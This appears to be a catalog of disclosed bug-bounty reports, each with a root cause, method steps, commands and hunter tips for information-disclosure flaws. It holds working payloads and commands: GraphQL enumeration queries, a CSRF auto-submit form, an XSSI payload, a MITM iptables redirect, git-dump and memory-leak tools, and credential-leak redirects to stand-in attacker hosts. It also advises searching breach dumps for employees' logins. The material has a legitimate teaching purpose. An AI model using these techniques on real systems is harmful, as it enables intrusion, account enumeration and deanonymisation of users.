Program securitySurface graphqlTag graphql
Root cause
Even when internal (team-only) comment content is access-controlled, associated metadata fields (latest_activity_id, latest_activity_at) are exposed to a mere report participant, revealing that hidden internal activity occurred and when.
Method
- As a report participant on a shared report, read /reports/<id>.json to obtain latest_activity_id
- Query the GraphQL node for latest_activity_at
- Correlate the id/timestamp with private internal comments/assignments you cannot see
POST /graphql
{"query":"query { node(id: \"gid://hackerone/Report/<id>\") { ... on Report { _id, latest_activity_at }}}"}
Insight — Content ACLs are often not mirrored onto derived metadata: counts, IDs, timestamps, 'last updated' fields. Diff these before/after a hidden action to build a side channel over data whose body you cannot read.
Real-world example
OSINT paste-dump search for leaked dev credentials
◆ Low
Specimen #511440 · zomato · awarded · 78 votes · resolved
Program zomatoSurface web
Root cause
Basic-auth credentials for internal dev subdomains were posted publicly and indexed by paste aggregators; searching the target's dev domain surfaced them.
Method
- Search paste-site aggregators / OSINT search engines for the target's internal domain suffix (e.g. zdev.net)
- Extract any Authorization/basic-auth blobs from results
- Base64-decode and authenticate to the protected dev host
# recon: search paste aggregators for the target dev domain
# then decode leaked creds:
echo '<base64-from-Authorization-header>' | base64 -d
Insight — Recon step, not a server bug: pivot from the main brand to internal dev domain suffixes and grep paste dumps / GitHub / OSINT engines for them. Reused basic-auth creds frequently gate multiple dev subdomains.
Real-world example
Cosmetic redaction leaves recoverable data
◆ Low
Specimen #2054222 · security · 500 · 74 votes · resolved
Program securitySurface web
Root cause
The 'redact all usernames' PDF export interleaves <REDACTED> markers around the real characters instead of removing them, so stripping the markers reconstructs the original username.
Method
- Export a report as PDF with 'redact usernames' enabled
- Open the PDF text / view source of the redacted field
- Remove the <REDACTED> markers to reveal the underlying characters (e.g. <R>j<R>a<R>p<R>z -> japz)
# redacted output: <REDACTED>(<REDACTED>j<REDACTED>a<REDACTED>p<REDACTED>z<REDACTED>)
# strip markers -> japz
Insight — Redaction that overlays or interleaves markers (rather than deleting bytes) is reversible - same class as black-box PDF redaction that keeps the text layer. Always extract the raw text/objects of a 'redacted' export.
Real-world example
VPN client leaks plaintext TCP to the VPN server's own IP outside the tunnel
◆ Low
Specimen #1987687 · mozilla · awarded · 67 votes · resolved
Program mozillaSurface desktopChain forced resource load -> plaintext leak to server IP ->
Root cause
Routing excludes the VPN server's IP from the tunnel (to avoid a loop) but does so too broadly, so any user traffic destined to that IP is sent in cleartext outside the tunnel - usable to deanonymize.
Method
- Connect the VPN; determine the current VPN server IP (sniff, or try known server IPs)
- Trick victim into loading a resource at http://<SERVERIP>/ (image on a forum, link-preview in a messenger, XSS)
- Capture the plaintext TCP SYN with Wireshark filter tcp.port==80 (or 443)
- A MITM AP can even redirect it: iptables -t nat -I PREROUTING -p tcp -d <SERVERIP> --dport 80 -j REDIRECT --to 80
# victim side leak trigger
http://<VPN_SERVER_IP>/
# attacker MITM redirect of leaked plaintext
sudo iptables -t nat -I PREROUTING -p tcp -d $SERVERIP --dport 80 -j REDIRECT --to 80
Insight — When testing VPN/proxy clients, probe whether traffic to the server's own IP (or DNS-resolved server host) escapes the tunnel. Combine with link-preview fetches or stored XSS to force the victim's browser to hit that IP and deanonymize them.
Real-world example
Malformed cookie makes server enumerate all cookie names
◆ Low
Specimen #310105 · automattic · awarded · 65 votes · resolved
Program automatticSurface web
Root cause
An edge-case cookie value (a cookie literally named '0') trips server logic into emitting Set-Cookie: <name>=deleted for its entire cookie namespace, disclosing all 152 supported cookie names.
Method
- Send a request with a cookie named 0 (Cookie: 0=1)
- Grep the response for Set-Cookie lines
- Server returns the full list of cookie names it manages
curl -v -H 'Cookie: 0=1' 'https://automattic.com/?cb=123' | fgrep Cookie
Insight — Fuzz cookie names/values with edge cases (0, empty, arrays like a[]=1, very long, control chars). Servers/frameworks sometimes react by dumping their whole cookie set or internal state - useful recon of session/feature-flag cookie names.
Real-world example
Fingerprint browser UI language via valueless submit-button width
◆ Low
Specimen #282748 · torproject · awarded · 64 votes · resolved
Program torprojectSurface web
Root cause
An <input type=submit> with no value attribute renders the browser's localized default label ('Submit Query' vs '提交查询'), whose pixel width differs by UI language - measurable cross-site even when the Accept-Language header is suppressed.
Method
- Render an <input type=submit> without a value and measure its offsetWidth
- Compare against reference widths for known localized default labels
- Infer the browser UI language even when the user disabled language headers
<input id=s type=submit>
<script>/* compare document.getElementById('s').offsetWidth
to widths of 'Submit Query' vs localized defaults */</script>
Insight — Browser-localized default control text (submit buttons, date pickers, validation messages) leaks UI language via element dimensions, bypassing Accept-Language privacy toggles. A general side-channel: measure locale-dependent default UI to fingerprint/deanonymize.
Real-world example
Differential GraphQL error oracle enumerates private program IDs
◆ Low
Specimen #1129649 · security · none · 64 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
Different GraphQL mutations/queries return distinguishable errors for sandbox vs private vs public/nonexistent team IDs, letting an attacker classify every sequential Team ID and build a list of purely-private programs (and later detect when one goes semi-public).
Method
- Create a sandbox program to learn the sandbox-specific error string
- Call createSolutionInstance with a target team_id; 'Team not enabled ... whilst sandboxed' = sandbox, 'You do not have the appropriate access' = exists/private
- Query node(id) team state; 'Team does not exist' distinguishes private
- Sweep sequential Team IDs to catalogue private programs
POST /graphql
{"operationName":"createSolutionInstance","variables":{"team_id":"gid://hackerone/Team/21732","solution_id":""},"query":"mutation createSolutionInstance($team_id: ID!, $solution_id: String!){createSolutionInstance(input:{team_id:$team_id,solution_id:$solution_id}){was_successful,errors{edges{node{message}}}}}"}
// then: {"query":"query{node(id:\"gid://hackerone/Team/21732\"){... on Team{_id,handle,state}}}"}
Insight — Distinct error messages are an enumeration oracle. When a mutation errors differently by object type/state, iterate sequential IDs to classify hidden objects. The related inline banner in #452973 is another differential signal for 'this program has a private part'.
Real-world example
Unauthenticated recovery-hint endpoint leaks data keyed by email
◆ Low
Specimen #2256548 · mozilla · 250 · 63 votes · resolved
Program mozillaSurface api
Root cause
An API returns a user's account-recovery-key hint for any supplied email without authentication, enabling account enumeration and targeted phishing.
Method
- Send GET /v1/recoveryKey/hint?email=<victim> unauthenticated
- Read the returned recovery-key hint
- Also use presence/absence of a hint for account enumeration
GET /v1/recoveryKey/hint?email=victim@example.com HTTP/2
Host: api.accounts.firefox.com
Insight — Endpoints that take an email and return per-user info (hints, avatars, MFA state, 'user exists') are enumeration + phishing primitives. Fuzz account/recovery APIs with arbitrary emails and check what leaks without a session or email-link.
Real-world example
'No content' email privacy setting not enforced on one notification path
◆ Low
Specimen #689997 · security · 500 · 62 votes · resolved
Program securitySurface api
Root cause
A program-wide 'no content in emails' setting is enforced on most notification templates but missed on the Instant Bounty Award email, which still includes the report title.
Method
- Set program email settings to 'No content'
- Trigger the quick/instant bounty payout via the API with a titled bounty
- Observe the report title leaks in the resulting award email
curl 'https://api.hackerone.com/v1/programs/<id>/bounties' -X POST -u 'user:token' -H 'Content-Type: application/json' -d '{"data":{"type":"bounty","attributes":{"amount":100,"title":"SQL injection in example.com","recipient":"x@example.com","currency":"USD"}}}'
Insight — Privacy toggles are enforced per code path. Enumerate EVERY email/notification the app can send (award, comment, mention, digest, receipt) and re-test each with the privacy setting on - one template usually forgets it.
Real-world example
Hidden event location coordinates still present in API JSON
◆ Low
Specimen #2610467 · fetlife · awarded · 62 votes · resolved
Program fetlifeSurface api
Root cause
When a host hides an event's address via privacy settings, the UI removes the map link but the /events/{id} response still contains the exact (reversed) lat/long, so non-RSVP users recover the precise location from raw JSON.
Method
- Victim creates an event and enables 'hide Address & Name of Location'
- Attacker (not RSVP'd, not banned) requests GET /events/{event-id} and inspects the response
- Search the JSON for 'location'; read the coordinates (reverse the pair for Google Maps)
GET /events/{event-id}
# response contains e.g. 131.04425, -12.496252 -> use as -12.496252, 131.04425
Insight — Privacy that only hides a field in the UI leaves it in the API payload. For any 'hidden address/location/contact' feature, read the raw JSON/GraphQL - coordinates, phone, email are commonly still present (sometimes obfuscated by field order/reversal).
Real-world example
Account/email enumeration at signup via differential validation message
◆ Low
Specimen #666722 · omise · awarded · 61 votes · resolved
Program omiseSurface web
Root cause
The signup form returns a distinct response ('Email is invalid') only for emails already registered, while any unregistered (even fake) email is accepted, so responses reveal which emails have accounts.
Method
- Submit a known-registered email at signup and note the error
- Submit random/fake emails and note they are accepted
- Diff the two responses to enumerate registered users at scale
POST /en/auth/sign-up {email: candidate@x.com}
# registered -> 'Email is invalid'; unregistered -> accepted
Insight — Signup, forgot-password, and change-email flows leak account existence through message/status/timing differences. Always A/B a known account vs a random address across all three flows; the fix is a uniform 'we sent you a link' response.
Real-world example
WordPress REST users endpoint enumerates admin usernames
◆ Low
Specimen #370777 · udemy · awarded · 60 votes · resolved
Program udemySurface webChain username enumeration -> targeted brute force
Root cause
The default WordPress REST API user route is left enabled, disclosing all author/admin usernames (login slugs) to unauthenticated requests.
Method
- Request /wp-json/wp/v2/users on the WordPress target
- Read the returned user objects (name + slug = login username)
- Feed usernames into targeted password attacks
curl https://TARGET/wp-json/wp/v2/users
# also: /?rest_route=/wp/v2/users and /?author=1 redirect
Insight — On any WordPress site, hit /wp-json/wp/v2/users and /?author=N to enumerate valid usernames - a reliable precursor to credential brute force. Fix is to disable the endpoint / obfuscate slugs.
Real-world example
Mobile app PIN/fingerprint lock bypass via OS file manager
◆ Low
Specimen #331489 · nextcloud · awarded · 58 votes · resolved
Program nextcloudSurface mobile-android
Root cause
An in-app passcode/biometric lock is only a UI gate; the app still stores synced files in an OS-accessible media directory, so another app (the system Documents/file manager) reads them without the lock ever prompting.
Method
- Set up the app, open a directory with sensitive files at least once (so they are cached to storage).
- Enable the app's passcode/fingerprint lock and background the app without unlocking.
- Open the OS file manager (com.android.documentsui) and browse to the app's storage provider / media path.
- Read files at /storage/emulated/0/Android/media/<pkg>/... without ever satisfying the app lock.
# Android path where 'locked' files remain world/other-app readable:
/storage/emulated/0/Android/media/com.nextcloud.client/nextcloud/...
Insight — When testing mobile apps that advertise a PIN/biometric lock, treat it as cosmetic and check whether the underlying data lives in shared/external storage reachable by other apps or the OS file picker; data-at-rest, not the lock screen, is the real control.
Real-world example
Outdated Jira fingerprint -> known info-disclosure CVEs
◆ Low
Specimen #632808 · starbucks · none · 58 votes · resolved
Program starbucksSurface web
Root cause
A publicly exposed, outdated Atlassian Jira instance is vulnerable to a stack of known unauth information-disclosure CVEs (user enumeration, source/metadata path traversal, custom-field/SLA leakage).
Method
- Fingerprint Jira and its version (footer, /rest/api/2/serverInfo, login page).
- CVE-2019-3403: enumerate valid users via the user-picker REST endpoint.
- CVE-2019-8442: read internal files (pom.xml, build metadata) via the /s/.../_/META-INF path.
- CVE-2020-14179 (also seen at DoD #1278952): hit the unauth /secure/ endpoint to list custom field and SLA names.
# user enumeration (CVE-2019-3403)
https://TARGET/rest/api/2/user/picker?query=admin
# metadata/source disclosure (CVE-2019-8442)
https://TARGET/s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
# field/SLA disclosure (CVE-2020-14179)
https://TARGET/secure/QueryComponent!Default.jspa
Insight — Treat any self-hosted Jira/Confluence/Atlassian product as a version-gated CVE checklist: fingerprint the exact version, then fire the matching unauth info-disclosure endpoints. Old Atlassian instances are a reliable, low-effort source of user enumeration and internal-file leaks.
Real-world example
Private resource existence oracle via markdown reference-link resolution
◆ Low
Specimen #495497 · gitlab · awarded · 57 votes · resolved
Program gitlabSurface web
Root cause
Markdown that references another project's path is rewritten (relative-resolved) only when the referenced private project actually exists; a non-existent path is left untouched, turning link rendering into a boolean existence oracle.
Method
- In any comment box, post a markdown link to a guessed private path, e.g. [Click](https://TARGET/Group/PrivateProject/issues/1).
- Hover the rendered link and read the browser status bar / rendered href.
- If it resolves to the current project's URL with the path appended, the project EXISTS; if the raw guessed URL is shown, it does NOT exist.
[Click](https://gitlab.com/PublicGroup/PrivateProject/issues/1)
# exists -> renders as current-project relative link
# absent -> renders the raw URL unchanged
Insight — Look for differential rendering/normalization behavior (link rewriting, autolinking, preview generation, redirect targets) as an existence oracle for private objects you cannot directly read. Any feature that behaves differently for existing vs missing private resources leaks their existence.
Real-world example
Exposed .git directory on S3 dumped to full source
◆ Low
Specimen #2383486 · mozilla · none · 56 votes · resolved
Program mozillaSurface cloudChain .git dump -> source + embedded GitHub tokenTag cloud-aws
Root cause
An S3-hosted site had a publicly readable /.git directory; even when the bucket root is not listable, individual .git object paths are fetchable and can be reassembled into the full repository, leaking source and an embedded GitHub access token.
Method
- Browse the site with a .git detector (DotGit extension) or probe /.git/HEAD, /.git/config
- Run a git-dump tool against the base URL to reconstruct the repo
- Search the recovered history for secrets/tokens/config
git clone https://github.com/Ebryx/GitDump.git && cd GitDump
python3 ./git-dump.py https://mofo-infographics.s3.amazonaws.com/
cd output/.git # full repo reconstructed
Insight — A non-listable bucket is not safe: known object paths (.git/*, backups) are still fetchable. Always probe /.git/config even when directory listing is disabled, and grep dumped history for credentials.
Real-world example
EXIF/GPS metadata not stripped from public uploaded images
◆ Low
Specimen #446238 · gitlab · 500 · 54 votes · resolved
Program gitlabSurface webTag file-upload
Root cause
User-uploaded images (group/avatar/logos) are served without stripping EXIF, so anyone can download them and recover GPS coordinates, device info and original filenames.
Method
- Upload a JPEG with EXIF (incl. GPS) as a public avatar/logo, or find existing public uploads.
- Download the served image unauthenticated.
- Run exiftool to extract GPS/camera/author/original-filename metadata.
exiftool downloaded_logo.jpg # check GPSLatitude/GPSLongitude, Copyright, OriginalFileName
Insight — Any endpoint that serves user-supplied images without re-encoding leaks EXIF. Cheap recon: bulk-download public profile/group images and exiftool them for location/PII. Note many programs now consider EXIF-only reports low/out-of-scope, so pair with impact.
Real-world example
Auth headers not cleared on cross-origin redirect (undici CVE-2024-30260)
◆ Low
Specimen #2451113 · ibb · 420 · 54 votes · resolved
Program ibbSurface api
Root cause
An HTTP client library strips Authorization/Cookie on cross-origin redirects but forgets Proxy-Authorization and x-auth-token, so following a redirect to an attacker origin leaks those secret headers.
Method
- Set up a redirect server whose Location points to an attacker-controlled cross-origin host.
- Make the app/library issue a request with sensitive headers and maxRedirections>0 to that server.
- Capture the forwarded request at the attacker host and read the leaked Proxy-Authorization / x-auth-token.
undici.request({ method:'GET', maxRedirections:1, origin:'http://REDIRECTOR/',
headers:{ 'Authorization':'secret', 'Cookie':'secret',
'Proxy-Authorization':'secret', 'x-auth-token':'secret' } })
// redirector: header('Location: http://attacker:2333')
Insight — When testing SSRF/fetch/redirect-following features, check WHICH sensitive headers survive a cross-origin redirect. Libraries commonly scrub Authorization+Cookie but miss Proxy-Authorization, x-auth-token, x-api-key. This is a reusable library/SSRF header-leak primitive.
Real-world example
curl .netrc password leaked to redirect target host (CVE-2024-11053)
◆ Low
Specimen #2894283 · ibb · USD 505 · 49 votes · resolved
Program ibbSurface otherTag webhook
Root cause
When curl uses a .netrc for credentials and follows HTTP redirects, a netrc entry matching the redirect target host that omits the password (or both login and password) causes curl to reuse the FIRST host's password against the second host.
Method
- Target tooling that runs curl with --netrc and -L (follow redirects)
- Craft/host an endpoint that 302-redirects to a second host you control
- Ensure the victim's .netrc has an entry for that second host with a missing password field
- curl reuses host1's password and sends it to host2, which you capture
# .netrc
machine first.example.com login alice password S3cret
machine attacker.example.net login alice
# curl --netrc -L https://first.example.com/redirect -> leaks S3cret to attacker.example.net
Insight — Redirect-following HTTP clients are credential-leak vectors: any place a tool follows redirects with stored creds, test whether host-A secrets bleed to host-B. Applies to CI scripts, package fetchers, webhook fetchers built on curl/libcurl.
Real-world example
Hidden JSON attribute leaks private/real-program status
◆ Low
Specimen #871142 · security · USD 500 · 46 votes · resolved
Program securitySurface apiTag graphql
Root cause
The .json representation of a resource exposes an internal attribute (active_retest_subscription) that only exists for real/private programs, so its presence infers otherwise-hidden private status.
Method
- Fetch the .json variant of a resource that also has an HTML view
- Diff the JSON fields against the rendered page for extra/internal attributes
- Identify an attribute whose presence/value only holds for a privileged or private object
- Infer the hidden property from that attribute
GET https://hackerone.com/reports/<ID>.json
# presence of "active_retest_subscription" implies the program is real/private
Insight — Always request the .json (or GraphQL) form of resources and diff it against the UI: serializers leak internal booleans/timestamps that let you infer hidden state (private, paid, feature-flagged) even when the value itself looks benign.
Real-world example
Similarity/dedup feature leaks inaccessible draft & deleted records
◆ Low
Specimen #1242680 · security · none · 46 votes · resolved
Program securitySurface webTag account-takeover
Root cause
A duplicate/similarity detector matches submitted content against ALL records including draft and deleted states that program members cannot otherwise access, disclosing their titles/content when a crafted submission overlaps enough to match.
Method
- As victim, have a draft (unsubmitted) or recently-deleted report in the program
- As a program member, submit a report whose contents closely mirror the target
- Wait for the duplicate-detector suggestions
- Observe leaked title/snippet of the otherwise-inaccessible draft; iterate content to enumerate more
# Requires >=50% feature overlap; detector returns up to 10 matches sorted by similarity.
# Iterate submission text to bracket and reconstruct the hidden draft's title/content.
Insight — Search, autocomplete, 'related items', and dedup features are inference oracles: they may index records the caller can't read directly (drafts, deleted, other-tenant). Test whether crafted queries surface titles/snippets of hidden objects.
Real-world example
IP disclosure via password-reset cancellation email + CSRF
◆ Low
Specimen #2737309 · mozilla · awarded · 46 votes · resolved
Program mozillaSurface webChain missing CSRF on cancel endpoint -> forced cancellation -&Tag account-takeover
Root cause
Cancelling a password-reset request emails a notification containing the requester's IP address; the cancel action lacks CSRF protection, so an attacker can force a victim to trigger it and receive the victim's IP.
Method
- Attacker starts a password reset and captures the token.cgi cancel request parameters
- Builds an auto-submitting CSRF form for the cancel endpoint
- Delivers the link to the victim; victim's browser submits the cancellation
- The resulting cancellation email (to the attacker-controlled account context) discloses the victim's IP address
<form action="https://bugzilla.mozilla.org/token.cgi" method="POST">
<input type="hidden" name="cancel_token" value="...">
<input type="hidden" name="t" value="...">
<input type="hidden" name="a" value="cxlpw">
<input type="hidden" name="cancel" value="Cancel">
</form><script>document.forms[0].submit()</script>
Insight — Notification emails that echo IP/user-agent/location are info-disclosure sinks. If the triggering action lacks CSRF protection, you can force the victim to generate the email and deanonymize them. Audit reset/cancel/confirm flows for CSRF + PII in the resulting message.
Real-world example
Recon: exposed metrics / SAP info / open S3 listing endpoints
◆ Low
Specimen #1448218 · jetblue · none · 45 votes · resolved
Program jetblueSurface webTag cloud-aws
Root cause
Several subdomains exposed unauthenticated operational endpoints: Grafana/Prometheus /metrics, SAP /sap/public/info (internal IP + OS), and an S3 bucket with directory listing enabled.
Method
- Scan subdomains for well-known unauthenticated paths
- Hit /metrics, /sap/public/info, and check bucket root for listing
- Collect internal IPs, OS/version, and enumerated object keys
GET /metrics # Grafana/Prometheus metrics
GET /sap/public/info # SAP internal IP + OS disclosure
GET https://<bucket>.s3.amazonaws.com/ # listing enabled
Insight — Keep a recon wordlist of high-value unauthenticated endpoints: /metrics, /actuator, /sap/public/info, /server-status, and always test S3/GCS bucket roots for public listing. These leak internal IPs, versions, and object inventories that seed deeper attacks.
Real-world example
ImageMagick uncompressed-pixel memory disclosure via image upload (CVE-2017-15277)
◆ Low
Specimen #302885 · security · USD 500 · 44 votes · resolved
Program securitySurface webTag file-upload
Root cause
ImageMagick's coder leaves uninitialized heap memory in the output image when processing crafted files with no defined pixels; uploading such a file and downloading the server-processed result leaks process memory (paths, versions, secrets).
Method
- Generate a crafted image with gifoeb (uninitialized-pixel canvas)
- If .gif is blocked/immune, generate the same in an allowed extension the server accepts and converts (.png/.bmp/.tiff/.tif)
- Upload as a profile picture / avatar
- Download the server-rendered image and recover the leaked pixel bytes to read memory contents
./gifoeb gen 1123x987 dump.png # or dump.bmp / dump.tiff / dump.tif
# upload as avatar, download processed image, then:
./gifoeb recover <downloaded_image>
Insight — Any avatar/thumbnail pipeline backed by ImageMagick is a candidate for memory disclosure. If .gif is filtered, exploit still works via other extensions the server transcodes - the conversion itself triggers the bug. Recover the output to read heap (OS version, filesystem paths, adjacent secrets).
Real-world example
curl .netrc default-entry credential leak (CVE-2025-0167)
◆ Low
Specimen #2917232 · curl · none · 36 votes · resolved
Program curlSurface other
Root cause
Incomplete fix for CVE-2024-11053: when a .netrc contains a 'default' entry, credentials specified for one host (machine a.com) get reused for an unrelated host (b.com) with no explicit entry, leaking creds to the wrong server.
Method
- Configure .netrc with machine a.com creds plus a bare 'default' block
- Have curl connect to b.com (redirect or direct)
- curl applies a.com's login/password to b.com
machine a.com
login alice
password alicespassword
default
# curl to b.com reuses alice/alicespassword
Insight — netrc 'default' fallback + host confusion is a recurring credential-leak sink; audit netrc parsing for whether host-specific creds bleed into the default entry across redirects.
Real-world example
S3 bucket listable to any authenticated AWS user / anonymous
◆ Low
Specimen #278191 · x · $140 · 36 votes · resolved
Program xSurface cloudTag cloud-aws
Root cause
Bucket ACL grants the AuthenticatedUsers group (any AWS account) or AllUsers (anonymous) ListBucket, so file listings leak to attackers with a free AWS identity or no auth at all.
Method
- Find bucket name from asset naming (metrics.pscp.tv)
- aws s3 ls with any valid AWS creds (or anonymous curl to the bucket endpoint)
- Enumerate object keys; probe each for public GetObject
aws s3 ls s3://metrics.pscp.tv
# anonymous variant:
curl https://BUCKET.s3.amazonaws.com/ # returns ListBucketResult XML
Insight — 'AuthenticatedUsers' in S3 means every AWS account on earth, not your users. Test buckets both anonymously and with a throwaway AWS identity; a listing alone maps object keys and rollout timelines.
Real-world example
Sensitive token in URL leaked to third-party analytics (Bing UET)
◆ Low
Specimen #301526 · security · awarded · 36 votes · resolved
Program securitySurface web
Root cause
An invitation page embeds iframes whose URL fragment contains the invitation token; those iframe pages load a third-party marketing tag (bat.bing.com/bat.js) that reports the full page URL (including the token) in its p= parameter, exfiltrating it to Bing.
Method
- Observe iframe src on invite page contains /#!/invitations/<token>
- The iframe page loads the bat.bing.com UET tag
- UET beacon sends p=<full-url-with-token> to bat.bing.com
https://bat.bing.com/action/0?ti=5295042&p=https://host/#!/invitations/<INVITATION_TOKEN>
Insight — Any secret placed in a URL (path/query/fragment) reachable by a page with third-party JS (analytics/ads/session-replay) leaks via Referer or the tag's URL-reporting param. Grep token-bearing pages for bat.bing/GA/hotjar/segment tags.
Real-world example
Exposed /metrics monitoring endpoint
◆ Low
Specimen #981796 · basecamp · awarded · 33 votes · resolved
Program basecampSurface web
Root cause
A subdomain serves an unauthenticated Prometheus-style /metrics endpoint, leaking internal application operational data (here GC cycle durations) that aids fingerprinting and further probing.
Method
- Enumerate common ops paths on each subdomain (/metrics, /actuator, /debug/vars, /status)
- Fetch /metrics without auth
- Read exposed internal runtime data
GET /metrics HTTP/1.1
Host: gopher.hey.com
Insight — Add /metrics, /actuator/*, /debug/pprof, /server-status to recon wordlists; exposed monitoring endpoints leak internals and sometimes secrets/tokens.
Real-world example
Credential leak on cross-host redirect (curl netrc, CVE-2024-11053)
◆ Low
Specimen #2829063 · curl · none · 33 votes · resolved
Program curlSurface other
Root cause
When following a redirect, curl re-parsed the netrc file for the new host but did not clear the previously matched username/password if the new entry omitted them, so the original host's credentials were sent to the redirect target.
Method
- Host https://a 301-redirects to https://b
- netrc has explicit creds for machine a and a 'default' entry that omits password (and/or login)
- Run curl -L --netrc-file netrc https://a
- curl carries alice's password (and bob's login from default) to https://b
# netrc
machine a
login alice
password alicespassword
default
login bob
# request
curl -L --netrc-file netrc -v https://a
# -> sends bob:alicespassword to https://b
Insight — Any credential-selection logic keyed on host must be fully re-evaluated (and cleared) on redirect. Test HTTP clients/tools by 301-chaining host A -> host B and watching whether A's Authorization/netrc/token is resent to B.
Real-world example
Oracle EBS sqlnet.log + unauth internal pages
◆ Low
Specimen #410187 · uber · none · 33 votes · resolved
Program uberSurface web
Root cause
An Oracle E-Business Suite host exposed internal pages without auth and served /OA_HTML/bin/sqlnet.log, which leaks internal IPs, hostnames and a username.
Method
- Identify Oracle EBS (OA_HTML paths)
- Request /OA_HTML/bin/sqlnet.log unauthenticated
- Harvest internal IPs/hostnames/usernames for further pivoting
GET /OA_HTML/bin/sqlnet.log HTTP/1.1
Insight — Oracle EBS/OA_HTML deployments frequently leave sqlnet.log and other bin/ artifacts world-readable; add this path to recon wordlists for Oracle targets.
Real-world example
Secret token in URL leaks to third-party analytics/extensions
◆ Low
Specimen #237262 · HackerOne · none · 32 votes · resolved
Program HackerOneSurface web
Root cause
A security-sensitive invitation token was placed in a URL/query string that was captured and forwarded to Google Analytics (and, per the merged report, harvested by browser extensions like AdBlockPlus), handing the capability token to third parties.
Method
- Identify a token embedded in a URL or query string (invite, reset, share link)
- Observe outbound analytics beacons (e.g. google-analytics.com/collect) carrying the full page URL
- Confirm the token is present in the third-party request payload/Referer
POST https://www.google-analytics.com/collect
...&dl=https%3A%2F%2Fhackerone.com%2Finvitations%2F<SECRET_TOKEN>&...
Insight — Never treat a URL as a secret channel. Tokens in path/query leak via Referer headers, analytics beacons, browser extensions, proxies, and server logs. Put capability tokens in POST bodies/headers, or strip them before analytics.
Real-world example
Proxy-Authorization not stripped on cross-origin redirect (undici, CVE-2024-24758)
◆ Low
Specimen #2390009 · Internet Bug Bounty · awarded · 30 votes · resolved
Program Internet Bug BountySurface other
Root cause
HTTP client cleared Authorization and Cookie headers on cross-origin redirect but forgot Proxy-Authorization, so that header was forwarded to the redirect's third-party host.
Method
- Send a request through undici with Authorization, Cookie and Proxy-Authorization headers and maxRedirections set
- Point the initial URL at an open redirector that forwards to attacker.com
- Attacker host receives the Proxy-Authorization header that should have been dropped
import { request } from 'undici'
await request('http://anysite.com/redirect.php?url=http://attacker.com:8182/vvv',{
maxRedirections: 3,
headers: {
'authorization': 'tes123t',
'cookie': 'ddd=dddd',
'Proxy-Authorization': 'xxxxxxxx'
}})
Insight — Header-stripping allowlists on redirect are frequently incomplete. Enumerate every sensitive header (Authorization, Cookie, Proxy-Authorization, custom X-Api-Key) and test each against a cross-origin redirect; devs commonly patch only the first two.
Real-world example
Third-party SaaS credentials for target found via breach/OSINT data
◆ Low
Specimen #2053396 · mozilla · awarded · 30 votes · resolved
Program mozillaSurface web
Root cause
Credentials for a third-party SaaS tool (Smartling translation dashboard) used to manage the target's assets were exposed in public breach/combolist datasets, granting access to the target's translation jobs and internal documents.
Method
- Enumerate third-party SaaS tools the target uses (JS references, DNS, job posts, extensions)
- Search breach-data/OSINT sites (dehashed, intelx, cyberintelligence.house) for credentials tied to the target's employees or SaaS accounts
- Validate the credential against the SaaS login; scope impact to the target's managed content
# OSINT sources: dehashed.com, intelx.io, cyberintelligence.house
# search: <target-domain> / <saas-domain> -> email:password -> login https://dashboard.smartling.com/
Insight — In-scope impact often lives outside the target's own infrastructure: map the SaaS/third-party tools that manage the target's content, then hunt breach dumps for reusable credentials. A leaked SaaS login can equal control of the brand's site content.
Real-world example
Cross-Site Script Inclusion (XSSI) of a CSV/JS-parseable endpoint
◆ Low
Specimen #207266 · security (HackerOne) · awarded · 29 votes · resolved
Program security (HackerOne)Surface web
Root cause
A sensitive data export (CSV) containing user-influenced fields is served without anti-CSRF/anti-XSSI protection and, because <script src> is exempt from SOP, can be included cross-origin; if the response body parses as valid JavaScript the attacker's page reads the data.
Method
- Find an authenticated endpoint that returns data as CSV/JS/JSONP (no unpredictable token in URL, no X-Content-Type-Options nosniff enforcement).
- Include it via <script src> from an attacker page while the victim is logged in.
- Pre-declare the column names as JS variables; abuse user-controlled fields (e.g. report_title) to inject `=` / `//` so the CSV becomes assignable JS, then read the globals.
<script>var report_id,report_title,program_name,total_amount,amount,bonus_amount,currency,awarded_at,status;</script>
<script src='https://target/settings/bounties.csv'></script>
<!-- attacker seeds report_title with =` ... `// so the CSV rows form valid JS assignments -->
Insight — Any authenticated export/endpoint that (a) has a predictable URL and (b) can be coerced into valid JS is stealable cross-origin via <script src>. Defend with unguessable tokens, nosniff, and non-JS content types. Great to probe on CSV/JS/JSONP export features.
Real-world example
Referer + window.opener leak via external http link (reverse tabnabbing)
◆ Low
Specimen #409518 · superhuman · awarded · 29 votes · resolved
Program superhumanSurface webChain Missing noopener -> window.opener -> reverse tabnabbin
Root cause
An outbound http:// link (no rel=noopener noreferrer) both leaks the Referer over a MITM-able cleartext hop and hands the opened page a window.opener reference back to the initiating page, enabling reverse tabnabbing / cross-origin navigation control on arbitrary origins.
Method
- Find an external link opened in a new context without rel=noopener/noreferrer, over http://
- MITM the cleartext destination (no HSTS)
- Read the Referer (may contain tokens/sensitive URL params)
- Use the granted window.opener to navigate/attack the opener page across origins
<a href="http://en.wikipedia.org/..." target="_blank">More</a>
// opened page: window.opener.location = 'https://attacker/phish'
Insight — Always set rel="noopener noreferrer" on external/target=_blank links. window.opener is a cross-origin foothold and Referer over http leaks URL secrets. Two distinct primitives from one missing attribute.
Real-world example
Data hidden in UI leaks through calendar/ICS feed export
◆ Low
Specimen #488643 · security · awarded · 29 votes · resolved
Program securitySurface web
Root cause
A private challenge's target name is withheld in the web UI until launch, but the same event exported to the calendar (ICS) feed includes the target name, leaking it early.
Method
- Subscribe to / import the app's calendar (ICS) feed for an event
- Compare the exported event fields against what the UI shows
- Read fields (target name, description) that the UI redacts
# import the .ics feed URL into Google Calendar (or curl it) and read SUMMARY/DESCRIPTION
# fields present in ICS but hidden in the web UI
Insight — Alternate export/feed formats (ICS calendar, RSS/Atom, CSV export, .json, oEmbed, print view) are frequently generated from the raw record and skip the UI's redaction. For any partially-hidden object, pull every export representation and diff.
Real-world example
Unauthenticated /users endpoint returns mass PII
◆ Low
Specimen #3027405 · deptofdefense · none · 28 votes · resolved
Program deptofdefenseSurface api
Root cause
A REST endpoint (/users, /user) returns id, first/last name, email, role and auth_data to unauthenticated callers - excessive data exposure with no authorization check.
Method
- Request /users (and /user, /api/users, /api/v1/users) unauthenticated
- Observe the full user records including auth-related fields
GET /users HTTP/2
Host: TARGET
# response: [{id, first_name, last_name, email, role, auth_data}, ...]
Insight — Always fuzz plural/collection API routes (/users, /accounts, /orders) unauthenticated; missing authz on a listing endpoint dumps the whole table. auth_data/role fields in the response are an escalation lead.
